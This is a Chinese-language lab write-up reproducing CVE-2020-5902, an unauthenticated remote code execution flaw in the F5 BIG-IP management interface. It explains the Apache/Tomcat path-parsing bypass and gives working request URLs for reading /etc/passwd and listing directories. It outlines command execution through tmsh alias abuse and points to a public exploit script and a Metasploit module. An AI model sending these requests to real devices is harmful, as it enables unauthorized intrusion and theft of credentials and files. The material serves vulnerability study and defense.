漏洞介绍
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
漏洞范围
BIG-IP 15.x: 15.1.0/15.0.0
BIG-IP 14.x: 14.1.0 ~ 14.1.2
BIG-IP 13.x: 13.1.0 ~ 13.1.3
BIG-IP 12.x: 12.1.0 ~ 12.1.5
BIG-IP 11.x: 11.6.1 ~ 11.6.5
漏洞靶场
在登录页面注册,之后申请秘钥:https://www.f5.com.cn/trials/big-ip-virtual-edition
打开下载页面:https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2
选择版本,下载BIGIP-14.1.2-0.0.37.ALL-scsi.ova
放到VMware里运行镜像文件

使用密码root/default登陆系统,第一次需要重置root密码
改为root/cve-2020-5902

配置网卡信息,输入config

这里设置自动获取IP地址,使用同一网段192.168.31.117
使用浏览器访问https://192.168.31.117,使用用户名为admin,口令为服务器登陆口令cve-2020-5902

第一次登录需要改密码,仍然改为原来的admin/cve-2020-5902

重置密码,使用新的密码登陆后台

漏洞原理
F5 BIG-IP 设备前端采用 Apache 来接受用户请求,后端可同时处理 PHP 和 Java 程序。而处理 Java 程序时,则是通过 AJP 协议,将 Apache 接收到的数据封装并流转给 Tomcat 。具体配置在 /etc/httpd/conf.d/proxy_ajp.conf 文件中,下面仅贴出关键配置。
1 | # /etc/httpd/conf.d/proxy_ajp.conf |
而 Apache 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*\.jsp 会进行最大限度的匹配,所以就会将完整的 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。
Tomcat 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符,
具体代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:parsePathParameters() 中。

然后再将 /tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp 处理成 /tmui/tmui/locallb/workspace/fileRead.jsp ,具体处理代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:normalize() 。

所以这次的权限绕过漏洞,实际上还是出在 Apache 和 Tomcat 对 URL 的解析差异。在绕过权限校验后,后台的功能代码基本上都能利用。
漏洞复现
任意文件读取
1 | https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd |

任意目录读取
1 | https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ |

命令执行


可以看到想要执行命令,那么就必须满足以下两个条件:
1 | // 命令的第一个指令必须是:create、delete、list、modify其中一个 |
所以我们就得去查查 tmsh 的官方手册,看看有什么可以利用的地方。通过查阅手册,我们发现可以给命令定义别名。那么我们实际上可以将上面要求的 create、delete、list、modify 指定成 /bin/bash ,这样就可以执行任意系统命令了。
1 | # 定义别名语法: |
网上公开的执行命令 POC 步骤如下:
1 | # 获取admin用户账号密码 |
https://github.com/jas502n/CVE-2020-5902
该脚本需要使用python2执行,修改CVE-2020-5902.py中的ip地址
1 | python2 CVE-2020-5902.py |
该脚本似乎不太稳定,需要反复尝试

msf利用
需要注意,msf下CVE-2020-5902漏洞利用模块暂不稳定,需要反复尝试,运气好就能创建会话了
kali需要把NAT改成桥接




参考
https://xz.aliyun.com/t/8014?time__1311=n4%2BxnD0Dc7%3D7w4GqGNnmDUxYTQ4Rru0q7IPjdx
https://github.com/jas502n/CVE-2020-5902
https://xz.aliyun.com/t/8008?time__1311=n4%2BxnD0Dc7%3DCqD54GNnmBDRDhGCSYtKCDuCoD